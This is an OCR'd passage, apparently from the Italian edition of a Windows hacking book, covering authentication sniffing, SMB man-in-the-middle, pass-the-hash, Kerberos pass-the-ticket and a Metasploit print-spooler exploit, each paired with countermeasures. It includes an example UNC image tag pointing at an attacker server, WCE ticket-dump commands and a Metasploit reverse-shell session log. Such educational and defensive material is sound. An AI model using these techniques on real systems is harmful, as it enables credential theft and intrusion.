e decodifica di tutti 1 dialetti Windows disponibili (compresi LM, NTLM e Kerberos)
con tecniche di attacco via forza bruta, dizionario e Rainbow cracking (per utilizzare
Rainbow cracking server un account valido, disponibile a pagamento). La Figura 4.2
mostra lo sniffer di Cain al lavoro su accessi a sessioni NTLM. I dati ottenuti si importano
facilmente nel cracker integrato facendo clic con il pulsante destro del mouse sull’elenco
di password individuate e selezionando “Send All To Cracker”.

E se pensate che un’architettura di rete commutata elimini la possibilita di sniffing delle
password, non siatene troppo sicuri. Gli hacker possono utilizzare una varieta di tecniche
di spoofing AR P per reindirizzare tutto il traffico sui loro sistemi, attuando quindi lo snif-
fing (Cain dispone anche di una funzione integrata per lo spoofing ARP; nel Capitolo 8
sono riportati ulteriori dettagli su questo argomento). In alternativa, un hacker potrebbe
“attirare” tentativi di autenticazione Windows inviando un’e-mail contenente un URL
nella forma file://computerdellhacker/ nomecondivisione/ messaggio.html. Per default, facendo
clic sull'URL si fa un tentativo di autenticazione al server corrispondente (computerdell-
hacker in questo esempio).

II piti robusto protocollo di autenticazione Kerberos ¢ disponibile a partire da Windows
2000, ma anch’esso non ¢ immune da attacchi mediante sniffing. La base per attuare
questo tipo di attacco ¢ spiegata in un articolo pubblicato nel 2002 da Frank O’Dwyer.
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Figura 4.2 Cain effettua lo sniffing degli scambi di dati
per autenticazione NTLM e li invia al programma di cracking integrato.

In sostanza, 'implementazione di Kerberos in Windows invia un pacchetto di preau-
tenticazione che contiene un testo in chiaro noto (un timestamp) cifrato con una chiave
derivata dalla password dell’'utente. Percio, un attacco di forza bruta o con dizionario
che riesca a decifrare il pacchetto di preautenticazione e riveli una struttura simile a un
timestamp standard scopre la password dell’'utente. Questo ¢ stato un noto problema di
Kerberos 5 per un certo periodo di tempo. Come abbiamo visto, Cain dispone di uno
sniffer integrato MSKerb5-PreAuth. Tra gli altri strumenti di sniffing delle procedure di
autenticazione Kerberos in Windows ci sono KerbSniff e KerbCrack di Arne Vidstrom
(ntsecurity.nu/toolbox/kerbcrack/).

c Contromisure contro lo sniffing delle procedure di autenticazione Windows

Per impedire gli attacchi alle risposte LM la chiave ¢ disabilitare I'autenticazione LM.
Ricordiamo che ¢ proprio la risposta di LM che viene utilizzata da strumenti come Cain
per ottenere le password. Se si ¢ in grado di evitare che la risposta LM viaggi sui cavi di
rete, si puod bloccare del tutto questo vettore di attacco. Il dialetto NTLM non softre della
vulnerabilita di LM e percio richiede molto piti tempo per essere violato, anche se un
tentativo ¢ sempre possibile soprattutto se si utilizza una password debole.

Dopo Windows NT 4.0 Service Pack 4, Microsoft ha aggiunto un valore del registro
che controlla 'utilizzo dell’autenticazione LM: HKLM\System\CurrentControlSet\Control\
LSA Registry\LMCompatibilitylLevel.Scegliendo valori maggiori o uguali a 4 si evita che un
controller di dominio accetti richieste di autenticazione LM (cft. la Microsoft Knowled-
ge Base, articolo Q147706, per ulteriori informazioni). Su sistemi con Windows 2000
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e versioni successive, questa impostazione si configura in modo piu facile utilizzando
Criteri di protezione; cercate: “Livello di autenticazione di LAN Manager” sotto il nodo
Impostazioni protezione (in Windows XP e versioni successive cercate:““‘Protezione di rete:
livello di autenticazione di LAN Manager”). Tale impostazione consente di configurare
il sistema Windows 2000 o versioni successive per eseguire I'autenticazione SMB in un
modo scelto tra sei disponibili (dal meno sicuro al piu sicuro, cfr.I'articolo Q239869 della
knowledge base). Consigliamo di utilizzare almeno il livello “Invia solo risposta NTLM”.
WindowsVista, Windows Server 2008, Windows 7 e Windows Server 2008 R 2 utilizzano
gid un valore di default che prevede I'invio della sola risposta NTLMv2, fornendo cosi
maggiore sicurezza rispetto all’opzione citata precedentemente, anche se non in tutti gli
ambienti ¢ possibile procedere in questo modo, soprattutto ove sia richiesta la possibilita
di interconnessione con vecchi sistemi.

Non esiste un singolo valore del registro da impostare per contrastare gli attacchi di snif-
fing Kerberos, come avviene per LM. Nelle nostre prove,l'impostazione della cifratura sul
canale sicuro non ha impedito questo attacco, e Microsoft non ha reso note informazioni
su come risolvere questo problema. Resta percio la difesa piu classica: scegliere bene le
password. Larticolo di Frank O’Dwyer nota che le password di 8 caratteri e contenenti
diverse combinazioni di lettere maiuscole, minuscole e numeri richiederebbero 67 anni di
lavoro a un hacker che volesse violarle, utilizzando questo metodo su una singola macchina
Pentium 1,5GHz, percio, se state utilizzando la funzione di complessita della password di
‘Windows (citata in precedenza in questo capitolo), vi siete guadagnati un po’ di tempo.
Naturalmente 1 tempi necessari per il cracking sono in continua discesa con I'aumento
della potenza delle CPU. Consultando cpubenchmark.net/common_cpus.html e facendo alcune
semplici ipotesi, servirebbe circa un anno e mezzo per violare una password complessa di
8 caratteri con il processore i7 (al momento in cui scriviamo il processore 6-core Intel i7
¢ circa 44 volte pit potente del processore considerato da O’Dwyer). Ricordate anche
che, se una password viene trovata in un dizionario, sara violata immediatamente.
Kasslin e Tikkanen hanno proposto altri metodi per contrastare gli attacchi Kerberos
nel loro articolo disponibile presso users.tkk.fi/~autikkan/kerberos/docs/phase1/pdf/
LATEST password_attack.pdf:

» Ultilizzare il metodo di preautenticazione PKINIT, che impiega chiavi pubbliche
anziché password e cosl non ¢ soggetto ad attacchi di eavesdropping.

» Utilizzare I'implementazione di IPSec in Windows per autenticare e cifrare il

traffico.

S

""" Attacchi Man-in-the-Middle
Popolarita: 6
Semplicita: 2
Impatto: 10

Grado di rischio: 6

Gli attacchi del tipo MITM (Man-In-"The-Middle) sono devastanti, perché compromettono
I'integrita del canale di comunicazione tra il client legittimo e il server,impedendo qualsiasi
scambio di informazioni sicuro. In questo paragrafo mostreremo alcune implementazioni
di attacchi MITM contro protocolli Windows che hanno fatto la loro comparsa negli anni.
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Nel maggio del 2001, Sir Dystic di Cult of the Dead Cow scrisse e rese pubblico uno
strumento denominato SMBR elay, che consisteva sostanzialmente in un server SMB in
grado di ricavare nomi utente e hash di password dal traffico SMB in ingresso. Come
indica il nome, SMBRelay non si limita ad agire come un endpoint SMB fittizio; in
determinate circostanze pud anche compiere attacchi MITM sfruttando le vulnerabilita
dell'implementazione del protocollo di autenticazione SMB/NTLM rese note da Do-
minique Brezinski nel 1996 con il documento intitolato “A Weakness in CIFS Authen-
tication”. Agendo come server fittizio, SMBRelay ¢ in grado di catturare gli hash delle
password di rete, che possono essere poi importati in strumenti di cracking (discuteremo
di come violare le password di Windows piti avanti in questo capitolo). Consente inoltre
all’hacker di introdursi tra client e server per intercettare la legittima comunicazione di
autenticazione del client e ottenere accesso al server con gli stessi privilegi del client
stesso. Nelle circostanze giuste, se il client gode di privilegi amministrativi ’hacker puo
ottenere immediato accesso alla shell del bersaglio con tali privilegi. Quando utilizza
questa tecnica, 'hacker puo intercettare la connessione e riconnettersi sia al client che
I'ha originata (metodo noto come SMB Credential Reflection) sia a qualsiasi altro server che
accetti le credenziali fornite dal client (SMB Credential Forwarding). Nel 2008 Microsof ha
pubblicato una patch che risolve il problema dell’attacco Reflection (technet.microsoft.
com/en-us/security/bulletin/ms08-068 e blogs.technet.com/b/srd/archive/2008/11/11/smb-
credential-reflection.aspx), ma I'attacco Forwarding rimane una minaccia.

Oltre agli attacchi di modifica dell’ ARP | di reindirizzamento DNS e ad altri metodi
basati sul reindirizzamento, una forma comune di attacco consiste nell’indurre le vittime
a connettersi con un server SMIB malevolo e ad autenticarsi; per farlo si pubblica su un
server web o si invia tramite email del codice HTML contenente risorse a cui accedere
tramite il protocollo SMB, per esempio un tag IMG con un collegamento UNC (<img
src=\\attacker_server\Pictures\he.png). Quando ha successo, questo attacco ¢ ovviamente
devastante:il MITM ottiene accesso illimitato alle risorse del server bersaglio praticamente
senza muovere un dito.

Dopo SMBR elay sono stati pubblicati molti altri strumenti aventi le stesse capacita e nei
quali la tecnica ¢ stata anche perfezionata, tra cui Squirtle (code.google.com/p/squirtle/)
e SmbRelay3 (tarasco.org/security/smbrelay/), che consentono di intercettare 'autenti-
cazione NTLM non solo delle connessioni che utilizzano il protocollo SMB, ma anche
di quelle che si avvalgono di altri protocolli, come HTTP, IMAP, POP3 e SMTP.

Lo strumento Cain di Massimiliano Montoro oftre utili funzionalita di attacco MITM
SMB, combinando una funzione APR (ARP Poison Routing) con funzioni di falsificazione
delle richieste NTLM e di downgrade dei client (anche se i client Windows piu recenti
non sono soggetti a downgrade). Utilizzando Cain, un hacker puo reindirizzare il traffico di
rete locale verso la propria macchina mediante APR ed eftettuare il downgrade dei client
a dialetti di autenticazione Windows piu facili da attaccare. Cain perd non implementa
un server SMB MITM completo come SMBR elay.

Servizi Terminal ¢ soggetto anche ad attacchi del tipo MITM, utilizzando I’APR di Cain
per implementare un attacco descritto nell’aprile 2003 da Erik Forsberg (www.securityfo-
cus.com/archive/1/317244) e aggiornato nel 2005 dall’autore stesso di Cain, Massimiliano
Montoro (www.oxid.it/downloads/rdp-gbu.pdf). Poiché Microsoft riutilizza la stessa chiave
per iniziare 'autenticazione, Cain utilizza la chiave nota per firmare una nuova chiave
MITM che il client di Servizi Terminal si limita a verificare, dato che ¢ progettato per
accettare senza discutere qualsiasi dato firmato con la chiave Microsoft nota. APR distrugge



158 Capitolo 4

la comunicazione client-server originale in modo che nessuna delle due parti si renda
conto che in realta comunica con MITM. 1l risultato ¢ che il traffico Terminal Server
puo essere spiato, decifrato e registrato da Cain, rivelando credenziali di amministrazione
utilizzabili per compromettere il server.

Benché il rischio sia inferiore a quello dell’attacco MITM, negli ambienti che utilizzano
ancora il protocollo di nomi NetBIOS (NBNS, UDP porta 137), si puo utilizzare la
tecnica di falsificazione del nome per facilitare questi attacchi.

c Contromisure contro gli attacchi MITM

Gli attacchi MITM richiedono generalmente — ma non sempre — che I’hacker si trovi
vicino al sistema bersaglio, per esempio su un segmento di LAN locale. Se un hacker ha gia
ottenuto una simile base di partenza nella vostra rete, ¢ difficile contrastare in modo pie-
namente efficace tutte le possibili metodologie di attacco MITM che potrebbe impiegare.
Alcuni concetti di base della sicurezza delle reti possono comunque favorire la protezione
contro gli attacchi MITM. L'uso di comunicazioni autenticate e cifrate puo ostacolare client
o server fittizi che tentino di inserirsi in un flusso di comunicazione legittimo. Le regole
di Windows Firewall inVista e versioni successive possono fornire connessioni autenticate
e cifrate, purché entrambe le parti siano membri dello stesso dominio Active Directory
(AD) e sia in vigore una policy IPSec per creare una connessione sicura tra gli endpoint.

| SUGGERIMENTO

Windows Firewall con protezione avanzata, in Vista e versioni successive, indica le policy
IPSec come “Criteri di protezione IPSec”.

A partire da Windows N'T ¢ stata resa disponibile una funzionalitd denominata firma SMB
per autenticare le connessioni SMB; tuttavia, non si ¢ diffusa molto, e inoltre non siamo
certi che sia in grado di bloccare gli attacchi MITM in certe situazioni. Strumenti come
SMBR elay, per esempio, tentano di disabilitare la firma SMB. Windows Firewall con le
regole per la sicurezza della connessione/IPSec ¢ probabilmente una scelta migliore. Per
quanto riguarda gli attacchi relativi a credenziali SMB, occorre assicurarsi che tutti i sistemi
abbiano applicato la patch descritta nel bollettino di sicurezza MS08-068 di Microsoft.
In ultimo, ma non per importanza, per combattere gli attacchi che falsificano il nome
NetBIOS consigliamo semplicemente di disabilitare il servizio nomi NetBIOS, se
possibile. NBNS ¢ troppo facile da violare (perché si basa su UDP) e in genere le piu
recenti versioni di Windows possono farne a meno, se si configura opportunamente
un’infrastruttura DNS. Se avete la necessita di implementare NBNS, la configurazio-
ne di un server WINS (Windows Internet Naming Service) primario e secondario nella
vostra infrastruttura potrebbe aiutarvi a ridurre I'impatto degli attacchi con spoofing
(cfr. support.microsoft.com/kb/150737/ per ulteriori informazioni).

S
/"> Pass-the-Hash

Popolarita: 8
Semplicita: 6
Impatto: 9
Grado di rischio: 8
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Pass-the-hash ¢ il nome di una tecnica che consente a un hacker di autenticarsi presso
un server remoto utilizzando I’hash LM e/o NTLM della password di un utente, elimi-
nando cosi la necessita di violare gli hash per ottenere le password in chiaro (solitamente
utilizzate per 'autenticazione).

Nel contesto dell’autenticazione NTLM, gli hash delle password di Windows sono equi-
valenti alle password in chiaro, quindi anziché tentare di manometterli offline, gli attaccanti
possono semplicemente riutilizzarli per ottenere 1'accesso.

La tecnica pass-the-hash ¢ stata divulgata nel 1997 da Paul Ashton (securityfocus.com/
bid/233), la cui implementazione dell’attacco consisteva in una versione modificata del
programma smbclient di SAMBA che accettava hash LM/NTLM invece di password in
chiaro. Oggi questa funzionalita ¢ fornita anche da molte implementazioni di terzi dei
protocolli SMB e NTLM.

Tutte queste implementazioni, tuttavia, essendo realizzate da terzi hanno delle limitazioni,
perché non implementano tutte le funzionalitd che Windows fornisce tramite il protocollo
SMB e non implementano le interfacce DCE/RPC personalizzate che un’applicazione
di terzi potrebbe utilizzare.

Nel 2000, Hernan Ochoa ha reso pubbliche delle tecniche che consentono di implemen-
tare nativamente in Windows il metodo pass-the-hash modificando in fase di esecuzione
nome utente,nome di dominio e hash delle password conservati in memoria. Ci6 consente
di sfruttare il metodo pass-the-hash con applicazioni Windows native come Windows
Explorer per accedere a condivisioni remote, strumenti di amministrazione come Utenti
e Computer di Active Directory e qualsiasi altra applicazione Windows nativa che utilizzi
l'autenticazione NTLM. Hernan ha inoltre introdotto una nuova tecnica per creare un
dump delle credenziali NTLM che il sottosistema di autenticazione di Windows conserva
in memoria.A differenza di strumenti come pwdump, che esegue solamente il dump delle
credenziali memorizzate nella SAM locale, questa tecnica permette di ottenere (tra le
altre) le credenziali degli utenti che hanno effettuato I'accesso a una macchina da remoto
e in modo interattivo utilizzando, per esempio, RDP. Questa tecnica ¢ divenuta molto
popolare tra 1 professionisti dei test di penetrazione e gli hacker, perché potenzialmente
consente di compromettere I'intero dominio Windows violando un’unica macchina —
anche, per esempio, nel caso in cui’'amministratore di Windows abbia effettuato I'accesso
alla macchina compromessa prima dell’attacco!

Lultima incarnazione delle tecniche di Hernan ¢ uno strumento chiamato Windows
Credentials Editor (WCE), compatibile con Windows XP, 2003,Vista, 7 e 2008, sia nelle
versioni a 32 bit che in quelle a 64 bit. E possibile prelevarlo dal sito di Amplia Security
(ampliasecurity.com/research). Per maggiori informazioni su come utilizzare al meglio
lo strumento si vedano le risposte alle domande frequenti su WCE (ampliasecurity.com/
research/wcefaq.html); per la descrizione di altri scenari di attacco si veda il documento
di Hernan “Post-Exploitation with WCE” (ampliasecurity.com/research/wce12_uba_am-
pliasecurity eng.pdf).

o Contromisure per I'attacco Pass-the-hash

La tecnica pass-the-hash ¢ intrinseca al protocollo di autenticazione NTLM; tutti 1 servizi
che utilizzano questo metodo di autenticazione (SMB, FTP, HTTP e cosi via) sono vul-
nerabili a questo attacco. L'utilizzo di un’autenticazione a due fattori puo essere d’aiuto
in alcune situazioni ma, nella maggior parte degli ambienti di rete, molto probabilmente
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si deve convivere con la possibilita di subire questo attacco. Si tratta di una tecnica “post-
violazione”, dato che, per poter compiere I'attacco,’hacker deve prima entrare in possesso
degli hash, quindi le armi di difesa migliori sono le normali tecniche anti-intrusione di
livello avanzato.

S

" Pass the Ticket per Kerberos

Popolarita: 2
Semplicita: 6
Impatto: 7
Grado di rischio: 5

Quando si utilizza I'autenticazione Kerberos, 1 client si autenticano per servizi remoti su
sistemi remoti utilizzando dei “ticket” e all’accesso creano nuovi ticket con TGT (Ticket
Granting Tickef) fornito dal KDC (Key Distribution Center ), che fa parte del controller di
dominio.

Cosli come la tecnica pass-the-hash consente all’attaccante di riutilizzare gli hash NTLM
delle password degli utenti per autenticarsi sul sistema remoto, Pass the Ticket per Ker-
beros ¢ una tecnica implementata da Windows Credentials Editor di Amplia Security
che consente a un hacker di eseguire il dump dei ticket Windows Kerberos e riutilizzarli
assieme al TGT (per creare nuovi ticket per altri servizi), sia su Windows sia su UNIX.
Una volta aperta una falla, "aggressore puo eseguire il dump dei ticket Kerberos esistenti
nel modo seguente:

C:\Tools>wce.exe -K

WCE vi.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security
by Hernan Ochoa (hernan@ampliasecurity.com)

Use -h for help.

Converting and saving TGT in UNIX format to file wce_ccache...

Converting and saving tickets in Windows WCE Format to file wce krbtkts..
6 kerberos tickets saved to file 'wce_ccache'.

6 kerberos tickets saved to file 'wce krbtkts'.

Done!

Lhacker puo quindi prendere il file wee_krbtkts e utilizzare WCE per “caricare”1 ticket nella
propria workstation Windows e iniziare ad accedere ad altri sistemi e servizi (utilizzando
net.exe, Windows Explorer e cosi via) senza dover scoprire alcuna password. Per esempio:

C:\Tools >wce -k

WCE vi.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security -
by Hernan Ochoa (hernan@ampliasecurity.com)

Use -h for help.

Reading kerberos tickets from file 'wce_krbtkts'...
6 kerberos tickets were added to the cache.
Done!
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Exploit senza autenticazione da remoto

A differenza delle tecniche descritte finora sull’attacco ai protocolli di autenticazione
‘Windows, le tecniche di exploit senza autenticazione da remoto puntano a difetti o
errori di configurazione del Windows vero e proprio. Queste tecniche, che in passato
si concentravano principalmente sui servizi TCP/IP esposti alla rete, negli ultimi anni
si sono estese ad aree in precedenza non considerate, come le interfacce dei driver per
dispositivi e supporti, oltre ad applicazioni Windows comuni come Microsoft Office,
Internet Explorer e Adobe Acrobat Reader. Nel seguito esaminiamo alcune tra le piu
interessanti tecniche di attacco di questo tipo.

S

" Exploit dei servizi di rete

Popolarita: 9
Semplicita: 9
Impatto: 10

Grado di rischio: 9

Alcuni ritengono che sia ormai una tecnica della vecchia scuola, ma exploit dei servizi
di rete rimane una delle tecniche fondamentali per ’hacking di Windows. Sono passati
i tempi in cui gli aspiranti hacker dovevano perlustrare Internet alla ricerca di exploit
scritti personalmente da appassionati di tutto il mondo che spendevano ore per raffinare
il codice e determinare vari parametri d’ambiente necessari per far funzionare 'exploit
in modo affidabile.

Oggi esistono dei siti dedicati agli exploit in cui si trova tutto quanto serve. Uno dei piu
noti, anche perché mette a disposizione una versione gratuita accanto ad altre versioni
commerciali, ¢ Metasploit (metasploit.com), che dispone di un buon archivio di moduli
di exploit e costituisce un potente strumento per eseguire test e controlli di sicurezza su
sistemi Windows.

SUGGERIMENTO

[l volume Hacking Exposed Windows, Third edition (McGraw-Hill Professional, 2007;
winhackingexposed.com) descrive le tecniche di individuazione delle vulnerabilita e di
sviluppo utilizzabili per creare moduli Metasploit personalizzati.

Per verificare la facilita con cui strumenti come Metasploit possono sfruttare le vulnerabi-
lita di Windows, utilizzeremo la versione con GUI Windows dello strumento per portare
un attacco che sfrutti una vulnerabilita dovuta a un’errata procedura di validazione dei
permessi nel servizio di spooler di stampa su un sistema con Windows XP SP3. Non si
tratta di una vulnerabilita qualsiasi, infatti ¢ uuna di quelle sfruttate dal worm Stuxnet, che
secondo alcuni ¢ stato realizzato al fine di sabotare un reattore nucleare iraniano. L'exploit
invia una falsa richiesta di stampa a un sistema che espone un’interfaccia allo spooler di
stampa su RPC (come avviene per esempio se il sistema sta condividendo una stampante in
rete); tale richiesta non sara validata correttamente e permettera all’hacker di creare un file
nella directory di sistema di Windows e, con qualche trucco, di eseguire codice arbitrario
utilizzando I'account con il massimo livello di privilegi, SYSTEM. Questa vulnerabilita
¢ descritta in maggiore dettaglio nel bollettino di sicurezza di Microsoft MS10-061.
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Nella GUI di Metasploit, per prima cosa localizziamo il modulo di exploit che ci interessa:
basta cercare “ms10” per individuare tutte le vulnerabilita descritte nei bollettini di sicurezza
di Microsoft pubblicati nel 2010. Poi facciamo doppio clic sul modulo denominato windows/
smb/ms10_061_spoolss, aprendo cosl una finestra che ci consente di personalizzare vari
parametri (come il produttore e il modello del software bersaglio), payload (tra le opzioni
vi sono l'apertura di shell di comandi remote, 'aggiunta di un utente e l'inserimento di
codice precompilato), alcune opzioni (quali un indirizzo IP bersaglio, tecniche per sottrarsi
ai sistemi di rilevamento delle intrusioni, e cosi via). La Figura 4.3 mostra la finestra di
configurazione del modulo di exploit.

Una volta effettuata la configurazione si fa clic su Run in Console (per una descrizione pit
dettagliata del processo) per lanciare 'exploit. La Figura 4.4 mostra il risultato dell’exploit
nella GUI di Metasploit. In base ai parametri di configurazione di default per questo
particolare exploit, ora abbiamo una sessione Meterpreter (che possiamo usare per ese-
guire una shell di comando e altri moduli di Metasploit) in esecuzione con privilegi di
SYSTEM sul sistema bersaglio.

@ Microsoft Print Spooler Service Impersonation Vulnerability windows/srmbjms10_061_spoolss EI@

reverse_tcp_dns
reverse_tcp_allports =

reverse_ord_tcp
reverse_nonx_tep
reverse_ipyh_tcp
reverse_hktps
reverse_hktp
bind_tcp
bind_ronx_tcp
bind_ipwé_tcp -

m

ssesessenee

Required

LPORT The listen port:

4444

EXITFUNC Exit technique: seh, thread, process, none
process

LHOST The listen address

192,165.1. 105

RPORT Set the SME service port

445

RHOST The target address

192.1658.1.110

[ Run exploit ][ Run in Console
Optional

PNAME The printer share name to use on the target
MyPrinker

SMBPIPE The named pipe for the spooler service

spoolss -

Figura 4.3 La finestra di configurazione del modulo di exploit di Metasploit.
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@ msfgui = O

File Wiew Exploits Auxiliary Payloads History Post-Exploit Console Database Pluging Help

|Jobs|Sessions| I I I | I I |C0n50|96 mekerpreter 3

FAYLOAD => windows/meterpreter/reverse_tcp

LHC3T =»> 192.165.1.105

m3f exploit(msl0_061 spoolss) » set RHOST 1592.168.1.110

msf exploit(ms10_061 spoolss) > set PNANE MyPrinter

RHOST => 182.163.1.110

PMAME =:> MNyPrinter

msf exploit(ms10 061 spoolss) » exploit

[*] Started reverse handler on 192.165.1.105:44494

[*] Trying target Windows Universal...

[*] Binding to 12345678-1234-gbcd-EF00-012345673%9ak: 1.D@ncacn_np: 192.168.1.110[\spoolas]
[*] Bound to 12345675-1234-sbod-EF00-0123456789ab:1 .D@ncacn_np: 192.1658.1,110[=poolas]
[*] Attempting to exploit M310-061 wvia 4%192.168.1.110%MyPrinter ...

[*] Printer handle: 000000001ddE352c9e06814h9efddThE5d09: 6d0

[*] Job started: Ox4

[#*] Wrote 73802 bytes to 3SystemBootilsystemd2hcIBt7nDhEeltwG.exe

[¥] Jok started: 0Ox5

[*] Wrote 2220 hytes to :(3ystemRoot:)system32’ vhen'\wof'NhvnImiloO0ko7k. mof

[*] Ewerything should he set, waiting for a session...

[*] Sending stage (752125 bytes) to 192.165.1.110 |
[*] Meterpreter session 3 opened (192.165.1.108:4444 —-> 192.168.1.110:1053) at Z011-11-2Z8 1‘1:1v

m

4 m +

meterpreter = Submit

754 exploit 394 auxiliary 225 payload 104 post modules

Figura 4.4 Metasploit sfrutta la vulnerabilita dello spooler di stampa di Microsoft.

c Contromisure contro I'exploit di servizi di rete

Il consiglio standard per contrastare 1 difetti del sistema Microsoft a livello del codice
sono 1 seguenti:

* Collaudare e applicare la patch il pit presto possibile.

e Nel frattempo, collaudare e implementare ogni possibile metodo per risolvere il
problema, come il blocco dell’accesso o la disabilitazione del servizio remoto vul-
nerabile.

 Attivare la registrazione e monitorare i file di log per individuare sistemi vulnerabili
e potenziali attacchi, e mettere a punto un piano di risposta.

La rapida distribuzione di patch ¢ la migliore opzione, perché in questo modo si elimina la
vulnerabilita. Oggi i progressi compiuti nello sviluppo di exploit e nell’analisi delle patch
stanno riducendo notevolmente il tempo che trascorre tra il rilascio di una patch e di un
corrispondente codice di exploit (nei casi in cui la patch precede effettivamente 'exploit).
Assicuratevi di collaudare le nuove patch verificandone la compatibilita con 'ambiente
e le applicazioni. Consigliamo sempre di utilizzare sistemi di gestione automatica delle
patch come SMS (Systems Management Server). Numerosi articoli su Internet spiegano nei
dettagli come creare un programma efficace per la gestione di patch di sicurezza e, pit in
generale, delle vulnerabilita; consigliamo di consultare queste risorse e di progettare un
piano completo per identificare, classificare in ordine di priorita, distribuire, verificare e
misurare la sicurezza dei rimedi contro le vulnerabilita del proprio ambiente.
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Naturalmente esiste un periodo-finestra in cui si ¢ esposti agli attacchi, mentre si attende
che Microsoft rilasci una patch; per questo si ricorre a varie misure di contenimento. Si
tratta generalmente di opzioni di configurazione da impostare nel sistema vulnerabile o
nell’ambiente circostante, in grado di mitigare 'impatto di un exploit nel caso in cui non
sia possibile applicare una patch.

Molte vulnerabilitd possono essere mitigate bloccando I'accesso alla porta TCP/IP inte-
ressata; nel caso della vulnerabilita dello spooler di stampa, Microsoft consiglia di limitare
Paccesso alle porte UDP 135-138,445;TCP 135-139,445 e 593; tutto il traffico inbound
non richiesto su porte superiori a 1024, e qualsiasi altra porta RPC specificamente con-
figurata, utilizzando firewall a livello di rete e di host. Tuttavia, poiché molti servizi di
Windows utilizzano queste porte, in pratica non si puo seguire questo consiglio, che ¢
utile soltanto per i server su Internet che d’altra parte non dovrebbero rendere disponibili
queste porte in ogni caso.

In ultimo, ma non per importanza, occorre monitorare i sistemi che presentano note
vulnerabilita ed essere pronti a potenziali attacchi. Idealmente, il monitoraggio della si-
curezza e 1 programmi di risposta agli attacchi dovrebbero essere gia attivi, per consentire
una rapida configurazione di piani di rilevamento e risposta personalizzati per nuove
vulnerabilita, qualora sia superata una determinata soglia di criticita.

Per informazioni piti complete su come mitigare questa particolare vulnerabilita, consul-
tate il bollettino di sicurezza di Microsoft presso technet.microsoft.com/en-us/security/
bulletin/MS10-061.

S

" Exploit di applicazioni dell'utente finale

Popolarita: 9
Semplicita: 5
Impatto: 10

Grado di rischio: 8

Gli hacker hanno scoperto che il collegamento piu debole in qualsiasi ambiente ¢ spesso
rappresentato dagli utenti finali a dalla moltitudine di applicazioni che eseguono. Il tipico
ecosistema del client, mal gestito e stracolmo di software, fornisce un ottimo bersaglio
di attacco per 1 malintenzionati; inoltre, generalmente consente agli hacker di entrare in
diretto contatto con 1 dati e le credenziali degli utenti, con un minimo di impegno, e
senza la necessita di preoccuparsi di un reparto di sicurezza composto da professionisti che
cercano di stanare 1 tentativi di attacco. Fino a poco tempo fa, inoltre, anche il software
degli utenti riceveva molta meno attenzione per quanto riguarda la sicurezza, durante
la fase di sviluppo, perché inizialmente le preoccupazioni del mondo informatico erano
rivolte piu verso il lato server, con le pericolosissime vulnerabilita di cui soffriva.

Tutti questi fattori si riflettono nei bollettini di sicurezza che Microsoft ha rilasciato negli
anni, consultando 1 quali si puo notare la tendenza a una maggiore attenzione verso le
applicazioni utente come IE e Office, mentre ¢ diminuita la frequenza di avvisi e patch
rilasciati per prodotti server come Windows ed Exchange.

Una delle applicazioni piu bersagliate negli ultimi tempi ¢ Adobe Flash Player. Comu-
nemente installato dagli utenti all’interno del browser per la visualizzazione di contenuti
multimediali attraverso Internet, oggi Flash ¢ uno degli strumenti pit popolari per la
visualizzazione di contenuti animati su Internet. Una rapida ricerca con le parole “adobe
flash” nel National Vulnerability Database, all’'indirizzo web.nvd.nist.gov/, produce 164
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risultati per il periodo tra il 2008 e il 2011 (il numero dei risultati ¢ pit che doppio per
il periodo tra il 2009 e il 2010).

Come ¢ facile attendersi, le piattaforme di test come Metasploit vengono aggiornate
tempestivamente con i metodi per sfruttare le vulnerabilita dei software piu diftusi come
Adobe Flash. Cercando nuovamente “adobe flash” (ricerca full text) nella pagina di
ricerca dei moduli di Metasploit, all'indirizzo metasploit.com/modules/#, si ottengono
numerosi risultati relativi alle vulnerabilita critiche di Flash degli ultimi 18 mesi. Ognuno
di questi moduli puo essere configurato per sfruttare le vulnerabilita selezionando un tipo
di attacco a piacere, analogamente a quanto visto nell’esempio sulla vulnerabilita dello
spooler di stampa di Windows descritto nel paragrafo precedente.

o Contromisure contro I'exploit di applicazioni dell’'utente finale

Per informazioni complete su come mitigare le vulnerabilita di Adobe Flash si consiglia di
consultare la pagina dei bollettini di sicurezza di Adobe presso adobe. com/support/security/.
PEnhanced Mitigation Experience Toolkit di Microsoft (EMET, discusso piu avanti in
questo capitolo) puo aiutare nella gestione delle tecnologie di mitigazione delle vulne-
rabilita introdotte nelle recenti versioni di Windows. Per scaricare EMET e per ulteriori
informazioni sulle sue funzionalita, basta collegarsi a microsoft.com/download/en/details.
aspx?id=1677.

Naturalmente basta evitare di installare Flash per mitigare questo tipo di attacco. Lasciamo
al lettore il compito di decidere se il rischio di exploit in Flash sia controbilanciato dai
vantaggi offerti dal software.

Quello delle contromisure contro I'exploit di applicazioni dell’utente finale ¢ un tema
ampio e complesso. Abbiamo percio elaborato “Dieci passi per un utilizzo piu sicuro di
Internet”, che riportiamo di seguito e riepilogano molti consigli forniti in varie edizioni
di questo libro.

1. Utilizzare un firewall personale, possibilmente in grado anche di gestire 1 tentativi
di connessione in uscita. Windows Firewall di XP SP2 e versioni successive € una
buona scelta.

2. Tenersi aggiornati su tutte le patch attinenti alla sicurezza. Gli utenti Windows dovreb-
bero configurare gli aggiornamenti automatici in modo da facilitare questo compito.

3. Eseguire un antivirus che esegua automaticamente la scansione del sistema (in parti-
colare degli allegati di posta in arrivo) e si mantenga aggiornato. Consigliamo anche
di eseguire utility antiadware/spyware e antiphishing.

4. Configurare le opzioni Internet di Windows nel Pannello di controllo (oppure
tramite il comando corrispondente di IE o Outlook/OE).

5. Accedere al sistema con il livello di privilegi minimo. Non accedere mai come Ad-
ministrator (o con un account di pari livello) su un sistema utilizzato per navigare su
Internet o leggere la posta. Utilizzare ove possibile funzionalita con privilegi ridotti
come Windows UAC e la modalita protetta di Internet Explorer (PMIE, Protected
Mode IE, precedentemente denominata LoRIE, Low Rights IE); discuteremo queste
funzionalita verso la fine di questo capitolo. Per chi ha buone conoscenze tecniche
¢ opportuno considerare I'esecuzione di applicazioni client quali i browser Internet
all'interno di una macchina virtuale (VM) per isolare ulteriormente le superfici
esposte alla possibilita di attacchi sul sistema host.
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6. Chi amministra grandi reti di sistemi Windows dovrebbe distribuire le tecnologie
precedentemente descritte nei punti chiave della rete (firewall di rete e di host, an-
tivirus sui server di posta e cosi via) per proteggere in modo piu efficiente un gran
numero di utenti.

7. Leggere la posta elettronica in formato testo.

8. Configurare 1 programmi di office automation nel modo piu sicuro possibile. Per
